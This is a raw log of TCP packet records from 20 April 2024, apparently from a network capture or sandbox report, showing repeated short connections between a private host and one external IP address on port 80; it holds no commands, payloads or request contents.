Apr 20, 2024 00:43:08.541526079 CEST	49801	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:08.541682959 CEST	49801	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:08.543961048 CEST	80	49800	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:08.544157982 CEST	49800	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:08.799743891 CEST	80	49801	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:08.800131083 CEST	80	49801	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:08.800312042 CEST	49801	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:09.058811903 CEST	80	49801	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:09.065768003 CEST	80	49801	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:09.187321901 CEST	49801	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:09.188672066 CEST	49802	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:09.445846081 CEST	80	49801	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:09.445924997 CEST	49801	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:09.450339079 CEST	80	49802	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:09.450438023 CEST	49802	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:09.450575113 CEST	49802	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:09.711937904 CEST	80	49802	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:09.711988926 CEST	80	49802	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:09.712193966 CEST	49802	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:09.973789930 CEST	80	49802	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:09.980279922 CEST	80	49802	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:10.094050884 CEST	49802	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:10.094424963 CEST	49803	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:10.352792025 CEST	80	49803	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:10.352879047 CEST	49803	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:10.353044987 CEST	49803	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:10.355459929 CEST	80	49802	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:10.355542898 CEST	49802	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:10.611685991 CEST	80	49803	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:10.611778975 CEST	80	49803	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:10.611999035 CEST	49803	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:10.870430946 CEST	80	49803	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:10.877440929 CEST	80	49803	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:10.925920010 CEST	49803	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.051932096 CEST	49803	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.052469015 CEST	49804	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.311021090 CEST	80	49803	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.311134100 CEST	49803	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.311270952 CEST	80	49804	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.311551094 CEST	49804	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.311589003 CEST	49804	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.426671982 CEST	49805	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.427541018 CEST	49804	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.563141108 CEST	49806	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.569906950 CEST	80	49804	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.570002079 CEST	80	49804	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.570090055 CEST	49804	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.686727047 CEST	80	49804	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.686925888 CEST	49804	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.689003944 CEST	80	49805	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.689153910 CEST	49805	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.689511061 CEST	49805	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.822168112 CEST	80	49806	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.822468996 CEST	49806	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.822570086 CEST	49806	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:11.954447031 CEST	80	49805	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.954508066 CEST	80	49805	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:11.954699039 CEST	49805	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.081398964 CEST	80	49806	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.081522942 CEST	80	49806	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.081722021 CEST	49806	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.216435909 CEST	80	49805	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.224085093 CEST	80	49805	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.269833088 CEST	49805	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.340497017 CEST	80	49806	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.340552092 CEST	80	49806	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.347389936 CEST	80	49806	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.394860983 CEST	49806	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.468732119 CEST	49805	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.468935966 CEST	49806	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.469068050 CEST	49807	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.727323055 CEST	80	49806	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.727386951 CEST	49806	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.730293989 CEST	80	49805	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.730346918 CEST	49805	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.730499029 CEST	80	49807	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.730566978 CEST	49807	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.730711937 CEST	49807	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:12.997404099 CEST	80	49807	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.997689009 CEST	80	49807	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:12.997900009 CEST	49807	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:13.259614944 CEST	80	49807	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:13.259635925 CEST	80	49807	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:13.267558098 CEST	80	49807	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:13.316528082 CEST	49807	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:13.391685963 CEST	49807	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:13.391994953 CEST	49808	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:13.654894114 CEST	80	49807	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:13.654917955 CEST	80	49808	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:13.654994965 CEST	49807	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:13.655173063 CEST	49808	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:13.655245066 CEST	49808	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:13.918292046 CEST	80	49808	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:13.918400049 CEST	80	49808	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:13.918613911 CEST	49808	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:14.181148052 CEST	80	49808	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:14.187674999 CEST	80	49808	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:14.238411903 CEST	49808	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:14.311801910 CEST	49808	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:14.312160015 CEST	49809	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:14.570557117 CEST	80	49809	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:14.570662022 CEST	49809	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:14.570808887 CEST	49809	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:14.573420048 CEST	80	49808	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:14.573477030 CEST	49808	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:14.829108953 CEST	80	49809	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:14.829210043 CEST	80	49809	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:14.829457998 CEST	49809	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:15.087961912 CEST	80	49809	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:15.094876051 CEST	80	49809	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:15.144795895 CEST	49809	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:15.220417023 CEST	49809	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:15.220798016 CEST	49810	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:15.479224920 CEST	80	49809	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:15.479419947 CEST	49809	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:15.482462883 CEST	80	49810	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:15.482582092 CEST	49810	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:15.482718945 CEST	49810	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:15.744164944 CEST	80	49810	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:15.744215012 CEST	80	49810	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:15.744446993 CEST	49810	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:16.005845070 CEST	80	49810	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:16.014801025 CEST	80	49810	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:16.066544056 CEST	49810	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:16.140481949 CEST	49811	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:16.398735046 CEST	80	49811	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:16.398885965 CEST	49811	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:16.399036884 CEST	49811	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:16.657557964 CEST	80	49811	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:16.657648087 CEST	80	49811	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:16.657895088 CEST	49811	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:16.916310072 CEST	80	49811	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:16.922015905 CEST	80	49811	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:16.973107100 CEST	49811	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.049654961 CEST	49812	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.049726009 CEST	49811	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.239243031 CEST	49813	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.308746099 CEST	80	49811	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.308849096 CEST	49811	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.308927059 CEST	80	49812	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.308973074 CEST	49812	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.361385107 CEST	49814	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.502199888 CEST	80	49813	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.502321959 CEST	49813	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.503575087 CEST	49813	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.619781017 CEST	80	49814	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.619913101 CEST	49814	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.620084047 CEST	49814	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.764977932 CEST	80	49813	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.765126944 CEST	80	49813	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.765302896 CEST	49813	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:17.878384113 CEST	80	49814	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.878467083 CEST	80	49814	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:17.878648996 CEST	49814	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.026772022 CEST	80	49813	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.026787996 CEST	80	49813	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.034184933 CEST	80	49813	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.082273006 CEST	49813	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.137196064 CEST	80	49814	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.145184040 CEST	80	49814	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.191598892 CEST	49814	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.284826994 CEST	49813	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.284868002 CEST	49814	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.285181999 CEST	49815	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.543287039 CEST	80	49814	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.543359995 CEST	49814	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.546221972 CEST	80	49813	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.546274900 CEST	49813	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.546834946 CEST	80	49815	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.547033072 CEST	49815	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.547117949 CEST	49815	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:18.808903933 CEST	80	49815	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.808926105 CEST	80	49815	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:18.809334993 CEST	49815	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.072190046 CEST	80	49815	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:19.077913046 CEST	80	49815	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:19.129053116 CEST	49815	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.203937054 CEST	49815	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.204231024 CEST	49816	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.465749979 CEST	80	49815	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:19.465769053 CEST	80	49816	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:19.465894938 CEST	49815	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.465982914 CEST	49816	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.466275930 CEST	49816	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.728132010 CEST	80	49816	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:19.728147984 CEST	80	49816	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:19.728342056 CEST	49816	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:19.990520000 CEST	80	49816	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:19.996416092 CEST	80	49816	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:20.050961971 CEST	49816	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:20.108289003 CEST	49816	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:20.108479977 CEST	49817	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:20.367813110 CEST	80	49817	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:20.367933989 CEST	49817	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:20.368155956 CEST	49817	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:20.370928049 CEST	80	49816	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:20.371004105 CEST	49816	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:20.626566887 CEST	80	49817	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:20.626622915 CEST	80	49817	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:20.626840115 CEST	49817	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:20.885514021 CEST	80	49817	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:20.895152092 CEST	80	49817	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:20.941555977 CEST	49817	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:21.086488008 CEST	49817	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:21.090713978 CEST	49818	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:21.345047951 CEST	80	49817	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:21.345218897 CEST	49817	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:21.352649927 CEST	80	49818	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:21.352744102 CEST	49818	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:21.352895021 CEST	49818	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:21.614336014 CEST	80	49818	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:21.614392996 CEST	80	49818	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:21.614792109 CEST	49818	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:21.876691103 CEST	80	49818	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:21.882976055 CEST	80	49818	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:21.936695099 CEST	49818	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:22.498207092 CEST	49818	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:22.524236917 CEST	49819	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:22.760814905 CEST	80	49818	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:22.760895014 CEST	49818	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:22.783293009 CEST	80	49819	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:22.783390999 CEST	49819	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:22.783643961 CEST	49819	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:23.042224884 CEST	80	49819	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:23.042256117 CEST	80	49819	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:23.082194090 CEST	49819	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:23.568001986 CEST	49819	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:23.569279909 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:23.570463896 CEST	49819	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:23.826447964 CEST	80	49819	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:23.827584982 CEST	80	49820	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:23.827652931 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:23.827825069 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:23.828836918 CEST	80	49819	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:23.828887939 CEST	49819	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:24.086256027 CEST	80	49820	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:24.086541891 CEST	80	49820	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:24.129091024 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:24.221246004 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:24.243525982 CEST	49821	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:24.480035067 CEST	80	49820	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:24.486972094 CEST	80	49820	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:24.505263090 CEST	80	49821	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:24.505481005 CEST	49821	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:24.505481005 CEST	49821	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:24.550942898 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:24.767982960 CEST	80	49821	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:24.768229961 CEST	80	49821	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:24.768529892 CEST	49821	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.030337095 CEST	80	49821	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.036457062 CEST	80	49821	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.150679111 CEST	49821	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.191267014 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.191400051 CEST	49821	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.216723919 CEST	49822	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.449927092 CEST	80	49820	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.449992895 CEST	49820	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.453098059 CEST	80	49821	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.453294039 CEST	49821	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.475265026 CEST	80	49822	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.475339890 CEST	49822	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.475488901 CEST	49822	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.733817101 CEST	80	49822	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.733844995 CEST	80	49822	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.734069109 CEST	49822	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:25.992476940 CEST	80	49822	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:25.992506981 CEST	80	49822	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:26.000700951 CEST	80	49822	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:26.126358986 CEST	49823	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:26.129064083 CEST	49822	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:26.387749910 CEST	80	49823	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:26.390850067 CEST	49823	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:26.390948057 CEST	49823	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:26.652337074 CEST	80	49823	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:26.652621031 CEST	80	49823	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:26.652872086 CEST	49823	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:26.914263964 CEST	80	49823	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:26.921335936 CEST	80	49823	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.050199986 CEST	49822	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.053191900 CEST	49823	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.053472996 CEST	49824	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.316155910 CEST	80	49823	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.316190958 CEST	80	49824	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.316226006 CEST	49823	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.316258907 CEST	49824	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.316416979 CEST	49824	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.577717066 CEST	80	49824	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.577790022 CEST	80	49824	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.577969074 CEST	49824	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.840747118 CEST	80	49824	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.840770960 CEST	80	49824	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.846486092 CEST	80	49824	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:27.894671917 CEST	49824	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.977991104 CEST	49824	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:27.978215933 CEST	49825	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:28.236623049 CEST	80	49825	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:28.239404917 CEST	80	49824	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:28.239516973 CEST	49824	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:28.239562988 CEST	49825	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:28.239725113 CEST	49825	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:28.498656034 CEST	80	49825	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:28.498718977 CEST	80	49825	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:28.498918056 CEST	49825	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:28.757627964 CEST	80	49825	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:28.765590906 CEST	80	49825	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:28.909826040 CEST	49825	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:28.910103083 CEST	49826	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.168685913 CEST	80	49825	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.168771029 CEST	49825	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.171554089 CEST	80	49826	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.171785116 CEST	49826	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.171869993 CEST	49826	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.433809996 CEST	80	49826	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.434277058 CEST	80	49826	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.434457064 CEST	49826	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.504757881 CEST	49827	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.504966021 CEST	49826	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.627152920 CEST	49828	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.696110964 CEST	80	49826	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.702842951 CEST	80	49826	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.702924967 CEST	49826	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.763309002 CEST	80	49827	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.763430119 CEST	49827	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.763565063 CEST	49827	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.766259909 CEST	80	49826	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.766330004 CEST	49826	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.885626078 CEST	80	49828	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:29.885786057 CEST	49828	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:29.885886908 CEST	49828	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.022226095 CEST	80	49827	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.022245884 CEST	80	49827	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:30.022502899 CEST	49827	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:30.147794962 CEST	80	49828	109.107.182.145	192.168.2.4
